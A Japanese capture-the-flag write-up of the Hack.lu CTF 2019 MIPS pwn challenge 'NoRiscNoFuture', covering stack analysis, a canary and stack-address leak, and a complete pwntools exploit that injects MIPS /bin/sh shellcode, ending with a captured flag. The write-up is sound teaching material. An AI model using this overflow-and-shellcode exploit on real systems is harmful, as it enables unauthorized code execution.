イントロ Link to this heading

いつぞや行われたHack.lu CTF 2019

学科の課題だったり復習だったりが溜まっていたため絶対に参加しないと心に決めていたが、 簡単なやつ一問だけならいいかな。。。と思い、 1問だけ解いてフラグを取ってすぐ撤退した。

変なところでつまずいていなければ first blooding 取れたはずなのだが、つっかえてしまい 3 番目になってしまった (まぁ自分に解ける=メチャメチャ簡単なんだけど)。

解いたのは pwn NoRiscNoFuture

表層解析 Link to this heading

sec.sh
1./no_risc_no_future: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=8d9728e98717452e43b6e32ff3e19002c7fa2d5d, not stripped
2Arch:     mips-32-little
3RELRO:    Partial RELRO
4Stack:    Canary found
5NX:       NX disabled
6PIE:      No PIE (0x400000)
7RWX:      Has RWX segments

セキュリティ機構ガバガバ。 但しMIPS32上で動作するプログラム。

x86 以外の解析はほとんどしたことがない (大熱血アセンブラでおおよそ雰囲気を掴んだぐらい)。

デバッグ方法で少しつっかえたが、 vanila gdb なら qemu で-g 1234でポート開放をしておきそれにアタッチすればよく、 pwntools ではdebug()によって勝手に qemu 上でプログラムを実行してくれるらしい。

脆弱性 Link to this heading

ざっと見 Link to this heading

いくら MIPS といえども ELF であり使っているのは libc である。 最初の解析自体はいつもどおり Ghidra で行えば良い。

ものすごくシンプルな Stack overflow がある。 canary はあるものの canary の leak もできるため問題ない。 さらに NX disabled 故 shellcode をスタック上で実行できる。 問題はスタックの構造がどうなっているかだ。

スタックの構造 Link to this heading

A を数回入力した後のスタックの状態は以下の通り:

debug.sh
 10x00400634 in main ()
 2(gdb) x/30xw $sp
 30x7fffec98:	0x00498300	0x7fffedc4	0x7fffef9f	0x004002d4
 40x7fffeca8:	0x00498300	0x0041fb68	0x00000000	0x41414141
 50x7fffecb8:	0x41414141	0x41414141	0x41414141	0x00400e0a
 60x7fffecc8:	0x00000000	0x00000001	0x7fffedc4	0x004218c4
 70x7fffecd8:	0x00498300	0x00000000	0x00000000	0x00400e60
 80x7fffece8:	0x00000000	0x00000000	0x00000000	0xe25a8d00
 90x7fffecf8:	0x00000000	0x004008e8	0x00000000	0x00000000
100x7fffed08:	0x00000000	0x00000000

この問題を解くのに限定すればMIPS を読める必要なんて一切ない。 canary は0x7fffecf4に入っている。

何回か実験した結果 canary の下 1byte は常に0x00であったため、 まずはここまで overflow して canary をリークする。 さらに0x7fffecd0にはスタックのアドレスと思わしきものが入っている。 こいつとユーザバッファの開始地点(0x7fffecb4)との diff は常に0x50であった。 故にこいつを leak することでスタックベースを求めることができる。

続いて RA の書き換え。 CPU ごとに関数呼び出し規約こそ違うものの、 このスタックを見るに退避されたフレームポインタや RA と思わしきものが転がっている。

debug.sh
1(gdb) x/i 0x4008e8
2   0x4008e8 <__libc_start_main+568>:	lui	t9,0x40

確かにこれが main()のスタックフレームの RA であるようだ。 よってスタックの構成は x86 と殆ど変わらないと仮定して進めていく。

ここまでで stack base / canary をリークできているためあとは shellcode を注入すれば終わり。 shellcode はシェルストームに落ちていた MIPS 用のものを使った。

だがしかし、実行してみると以下のようなエラーが出た:

debug.sh
1Program received signal SIGILL, Illegal instruction.
20x7fffecf8 in ?? ()
3(gdb)

いざエラーが出るとそのアーキテクチャを知っていないとデバッグが難しい。 しかし今回は payload のパディングを"A"ではなく"\x00"にしたら解決した (これがなぜかは調べてないからわからない)。

これさえなければ確実に first blooding とれたのに。。。

exploit Link to this heading

exploit.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "./no_risc_no_future"
 8
 9rhp1 = {"host":"noriscnofuture.forfuture.fluxfingers.net","port":1338}
10rhp2 = {'host':"localhost",'port':1234}
11context(os='linux',arch='mips')
12binf = ELF(FILENAME)
13
14shellcode = "\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
15
16def exploit(conn):
17  print("connected")
18
19  conn.send("A"*(16*4+1)) #last byte of canary is always 0x00??
20  conn.recvuntil("A"*(16*4+1))
21  canary = unpack(conn.recvline()[:-1].ljust(4,'\x00'))
22  canary = canary << 8
23  print("[+]canary: "+hex(canary))
24
25  sleep(1)
26  conn.send("A"*(4*26))
27  conn.recvuntil("A"*(4*26))
28  stack = unpack(conn.recv(4).ljust(4,"\x00"))
29  print("[+]stack: "+hex(stack))
30  stack_shellcode = stack-0x50+0x4
31  print("[+]stack shellcode: "+hex(stack_shellcode))
32
33  sleep(1)
34  for i in range(0xa-(1+2)):
35    print("sent")
36    conn.sendline("A")
37    sleep(0.5)
38    conn.recvline()
39
40  sleep(1)
41  payload = shellcode
42  payload += "\x00" * (4*16 - len(payload))
43  payload += p32(canary)
44  payload += "\x00" * (4*18 - len(payload))
45  payload += p32(stack_shellcode)
46  conn.send(payload)
47
48if len(sys.argv)>1:
49  conn = remote(rhp1["host"],rhp1["port"])
50else:
51  conn = gdb.debug("./no_risc_no_future")
52
53exploit(conn)
54conn.interactive()

結果 Link to this heading

result.sh
 1[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
 2connected
 3[+]canary: 0x7d7fc000
 4[+]stack: 0x7ffffd30
 5[+]stack shellcode: 0x7ffffce4
 6sent
 7sent
 8sent
 9sent
10sent
11sent
12sent
13[*] Switching to interactive mode
14A
15AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
16A
17AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
18A
19AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
20A
21AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
22Ps\x06$\xff\xff�Ps\x0f$\xff\xff\x06(���'��\x0f$'x�! ��\xff\xa4\xaf���\xaf���#\xab\x0f$\x0c/bin/sh
23/chall $ $ ls ./
24ls ./
25flag                no_risc_no_future   qemu-mipsel-static
26/chall $ $ cat flag
27cat flag
28flag{indeed_there_will_be_no_future_without_risc}/chall $